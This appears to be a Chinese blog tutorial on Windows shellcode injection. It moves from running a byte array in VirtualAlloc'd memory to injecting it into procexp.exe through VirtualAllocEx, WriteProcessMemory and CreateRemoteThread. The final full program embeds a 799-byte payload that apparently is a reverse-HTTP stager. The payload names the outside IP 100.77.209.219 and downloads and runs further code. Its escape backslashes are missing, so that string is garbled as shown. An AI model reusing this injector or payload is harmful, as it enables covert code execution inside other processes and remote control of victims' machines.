zoukankan      html  css  js  c++  java
  • shellcode注入原理

    我们直接写入可能无法执行

    unsigned char data[130] = {
    	0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x40, 0x00, 0x8B, 0x45, 0xF8,
    	0x0F, 0xB7, 0x08, 0x81, 0xF9, 0x4D, 0x5A, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x5F, 0x8B,
    	0x55, 0xF8, 0x8B, 0x45, 0xF8, 0x03, 0x42, 0x3C, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xFC, 0x81, 0x39,
    	0x50, 0x45, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x44, 0x8B, 0x55, 0xFC, 0x0F, 0xB7, 0x42,
    	0x18, 0x3D, 0x0B, 0x01, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x32, 0x8B, 0x4D, 0xFC, 0x83,
    	0x79, 0x74, 0x0E, 0x77, 0x04, 0x33, 0xC0, 0xEB, 0x25, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC2,
    	0x0E, 0x8B, 0x4D, 0xFC, 0x83, 0x7C, 0x01, 0x78, 0x00, 0x74, 0x09, 0xC7, 0x45, 0xF4, 0x01, 0x00,
    	0x00, 0x00, 0xEB, 0x07, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xF4, 0x8B, 0xE5,
    	0x5D, 0xC3
    };
    
    typedef void(*PFN_FOO)();
    int main()
    {
    	PFN_FOO f = (PFN_FOO)(void *)data;
    	f();
    

    无法执行

    可以看到可读可写不可执行,修改保存就行了
    因为shellcode在程序的全局区,没有可执行权限,代码所在内存必须可读可执行,但是重新编译不行,因为重新编译了就变了,所以还可以在当前程序申请一块可写可读可执行的代码区

    VirtualAlloc

    LPVOID VirtualAlloc(  LPVOID lpAddress,        // region to reserve or commit
      SIZE_T dwSize,           // size of region
      DWORD flAllocationType,  // type of allocation
      DWORD flProtect          // type of access protection);
    

    这里来申请一块

    LPVOID lpAddr = VirtualAlloc(
    			NULL,	//表示任意地址,随机分配
    			1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
    			MEM_COMMIT,	//告诉操作系统给分配一块内存
    			PAGE_EXECUTE_READWRITE
    		);
    
    	if (lpAddr == NULL){
    		printf("Alloc error!");
    		return 0;
    	}
    

    可以看到内存已经申请好了,接下来就把我们的数据拷贝过来,再执行,最后还要释放掉

    memcpy(lpAddr, data, sizeof(data));
    
    typedef void(*PFN_FOO)();
    PFN_FOO f = (PFN_FOO)(void*)lpAddr;
    f();
    
    VirtualFree(lpAddr,1,MEM_DECOMMIT);
    

    完整代码

    unsigned char data[130] = {
    	0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x40, 0x00, 0x8B, 0x45, 0xF8,
    	0x0F, 0xB7, 0x08, 0x81, 0xF9, 0x4D, 0x5A, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x5F, 0x8B,
    	0x55, 0xF8, 0x8B, 0x45, 0xF8, 0x03, 0x42, 0x3C, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xFC, 0x81, 0x39,
    	0x50, 0x45, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x44, 0x8B, 0x55, 0xFC, 0x0F, 0xB7, 0x42,
    	0x18, 0x3D, 0x0B, 0x01, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x32, 0x8B, 0x4D, 0xFC, 0x83,
    	0x79, 0x74, 0x0E, 0x77, 0x04, 0x33, 0xC0, 0xEB, 0x25, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC2,
    	0x0E, 0x8B, 0x4D, 0xFC, 0x83, 0x7C, 0x01, 0x78, 0x00, 0x74, 0x09, 0xC7, 0x45, 0xF4, 0x01, 0x00,
    	0x00, 0x00, 0xEB, 0x07, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xF4, 0x8B, 0xE5,
    	0x5D, 0xC3
    };
    
    
    int main()
    {
    	LPVOID lpAddr = VirtualAlloc(
    			NULL,	//表示任意地址,随机分配
    			1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
    			MEM_COMMIT,	//告诉操作系统给分配一块内存
    			PAGE_EXECUTE_READWRITE
    		);
    
    	if (lpAddr == NULL){
    		printf("Alloc error!");
    		return 0;
    	}
    	//到这里表示能够成功分配内存
    	memcpy(lpAddr, data, sizeof(data));
    
    	typedef void(*PFN_FOO)();
    	PFN_FOO f = (PFN_FOO)(void*)lpAddr;
    	f();
    
    	VirtualFree(lpAddr,1,MEM_DECOMMIT);
    
    	return 0;
    

    这里我们本地写个messagebox,可以看到helloworld是再常量区地址为0C65858h,但是函数的引用地址却在0C6916Ch,他们之间是有强烈的依赖关系,所以我们如果直接把代码抽出来是无法利用的

    所以如果上面我们想要执行成功就要处理掉相关依赖,比如相关函数的地址,字符串地址 自己重定位了,shellcode:一段与地址无关的代码,只要把它放在任意32位程序中只要给他一个起点就能执行
    所以我们要先开辟空间然后再写入,然是可以看到VirtualAlloc写了谁调用在谁哪里开辟空间

    所以我们就用加强版VirtualAllocEx,它可以在指定进程去开辟
    VirtualAllocEx

    LPVOID VirtualAllocEx(  HANDLE hProcess,          // process to allocate memory
      LPVOID lpAddress,         // desired starting address 
      SIZE_T dwSize,            // size of region to allocate
      DWORD flAllocationType,   // type of allocation
      DWORD flProtect           // type of access protection);
    

    代码差不多,但是这里我们要先获取我们要注入的进程句柄,这里shellcode为32位所以我们需要获取的也是32位的

    //获取快照
    	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	PROCESSENTRY32 pe32;
    	DWORD pid = 0;
    	pe32.dwSize = sizeof(PROCESSENTRY32);
    	//查看第一个进程
    	BOOL bRet = Process32First(hSnap, &pe32);
    
    	while (bRet)
    	{
    		bRet = Process32Next(hSnap, &pe32);
    		if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){
    			pid = pe32.th32ProcessID;
    			break;
    		}
    	}
    	//获取进程句柄
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    

    就是昨天的代码,然后再来开辟一个空间

    	//1.在目标进程开辟空间
    	LPVOID lpAddr = VirtualAllocEx(
    		hProcess,	//在目标进程中开辟空间
    		NULL,	//表示任意地址,随机分配
    		1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
    		MEM_COMMIT,	//告诉操作系统给分配一块内存
    		PAGE_EXECUTE_READWRITE
    		);
    
    	if (lpAddr == NULL){
    		printf("Alloc error!");
    		return 0;
    	}
    
    

    然后我们就是要写入,这里就不能使用memcpy了因为这个是当前进程调用的
    WriteProcessMemory

    BOOL WriteProcessMemory(
      HANDLE hProcess,                // handle to process
      LPVOID lpBaseAddress,           // base of memory area
      LPCVOID lpBuffer,               // data buffer
      SIZE_T nSize,                   // count of bytes to write
      SIZE_T * lpNumberOfBytesWritten // count of bytes written);
    

    这里我们就写入进去

    	//2.在目标进程中写入代码
    	bRet = WriteProcessMemory(
    		hProcess,	//目标进程
    		lpAddr,	//目标地址	目标进程中
    		data,	//源数据	当前进程中
    		sizeof(data),	//写多大
    		&dwWritesBytes //成功写入的字节数
    		);
    	if (!bRet){
    		VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
    		return 0;
    	}
    

    写进去了还要调用才能执行,创建远程线程
    CreateRemoteThread

    HANDLE CreateRemoteThread(
      HANDLE hProcess,                          // handle to process
      LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
      SIZE_T dwStackSize,                       // initial stack size
      LPTHREAD_START_ROUTINE lpStartAddress,    // thread function
      LPVOID lpParameter,                       // thread argument
      DWORD dwCreationFlags,                    // creation option
      LPDWORD lpThreadId                        // thread identifier);
    

    返回目标进程的线程

    //3.向目标程序调用一个线程 创建远程线程  执行写入代码
    	HANDLE hRemoteThread = CreateRemoteThread(hProcess,	//目标进程
    		NULL,
    		0,
    		(LPTHREAD_START_ROUTINE)lpAddr,	//目标进程的回调函数
    		NULL,	//回调参数
    		0,
    		NULL
    		);
    

    这里我们不要立马释放因为可能执行需要一段时间,所以要等待执行完毕再释放
    完成代码为

    // shellcode.cpp : 定义控制台应用程序的入口点。
    //
    
    #include "stdafx.h"
    #include <Windows.h>
    #include <TlHelp32.h>
    
    /* length: 799 bytes */
    unsigned char data[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68xaex08x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx58x66x39x65x00xc8x03xfex93x1ax5ex52x6dx5ax5dx0dx22x3cx47x8ex31x2dx7bxeexa8xc3x22x6bx24xb5x43x4dx44x35x96x5cx48xd7xedx39xccxeexbfxdex49x49x3fx83x58xe9x48x1ex33xc7x49x50x48xd4x97xc7x14xf4x34x36x15x89x74x00x00xb2x0axd7x63x86xdcx5ex9bx74x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4cx42x42x52x4fx57x53x45x52x29x0dx0ax00x0bx81xc7x34x3dxa6xb5x8fx9axebx20x23xc5xb5xe6x9dx11x47x8exc0x15xd9x15xc4x57x55x1axd1xc7xcdxfcxa6xefxfexe0x02xfcxaax9ex73xf7x3cxa0xd8xefxaex42x73x79x7ax50xe2x04x6axb3x1cx8exd4xfax11x0fx4dxe7x16xfex22x29xa9x81x5bx45xf0xc6x90x97x49xf6x85xa3xf8xc8xf7x7dxccxabx89x33x13x1ax76x30x03x10x7fx3ex67xe6x59xf9xbdx84x70x6ex2ax3ax1fx88x51xa8x26x89x0ex1bxbaxefxafxe8xc5x59xbfx4dxe5x47xadxefxc8x32x31xe8xb5x9dxf9xd6xeaxf5x64xd6xf3xf6xb5xa0xc9x94xf0xbcxe5x5ex51xeex31x14xc7x94xf2x79x56x10xc5x56x04x85xa9x0ax36x7cx2dx4ax06xe2xcfx29x25x68xc7x9bx90xf6x8fx6ax9bxdaxf7x2fx96x58x9cx44x15xf5xbfxe8x4dx82x31xcdx5fx39x6axdfxd7xc3xb5x9cx21x23x85xbfx00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x30x30x2ex37x37x2ex32x30x39x2ex32x31x39x00x6fxaax51xc3";
    
    
    typedef void(*PFN_FOO)();
    
    int main()
    {
    	//获取快照
    	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	PROCESSENTRY32 pe32;
    	DWORD pid = 0;
    	pe32.dwSize = sizeof(PROCESSENTRY32);
    	//查看第一个进程
    	BOOL bRet = Process32First(hSnap, &pe32);
    
    	while (bRet)
    	{
    		bRet = Process32Next(hSnap, &pe32);
    		if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){
    			pid = pe32.th32ProcessID;
    			break;
    		}
    	}
    	//获取进程句柄
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    
    	//1.在目标进程开辟空间
    	LPVOID lpAddr = VirtualAllocEx(
    		hProcess,	//在目标进程中开辟空间
    		NULL,	//表示任意地址,随机分配
    		1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
    		MEM_COMMIT,	//告诉操作系统给分配一块内存
    		PAGE_EXECUTE_READWRITE
    		);
    
    	if (lpAddr == NULL){
    		printf("Alloc error!");
    		return 0;
    	}
    
    	DWORD dwWritesBytes = 0;
    
    	//2.在目标进程中写入代码
    	bRet = WriteProcessMemory(
    		hProcess,	//目标进程
    		lpAddr,	//目标地址	目标进程中
    		data,	//源数据	当前进程中
    		sizeof(data),	//写多大
    		&dwWritesBytes //成功写入的字节数
    		);
    	if (!bRet){
    		VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
    		return 0;
    	}
    
    	//3.向目标程序调用一个线程 创建远程线程 执行写入代码
    	HANDLE hRemoteThread = CreateRemoteThread(hProcess,	//目标进程
    		NULL,
    		0,
    		(LPTHREAD_START_ROUTINE)lpAddr,	//目标进程的回调函数
    		NULL,	//回调参数
    		0,
    		NULL
    		);
    
    
    	return 0;
    }
    

  • 相关阅读:
    分布式系统唯一ID生成方案汇总
    百度开源的分布式 id 生成器
    全局唯一ID生成器
    VisualSVN Server迁移的方法
    SQL Server 函数 LEN 与 DATALENGTH的区别
    SQLServer中DataLength()和Len()两内置函数的区别
    sql server 查询ntext字段长度
    JAVA使用POI如何导出百万级别数据
    Java 使用stringTemplate导出大批量数据excel(百万级)
    Java 两个日期间的天数计算
  • 原文地址:https://www.cnblogs.com/yicunyiye/p/13696373.html
Copyright © 2011-2022 走看看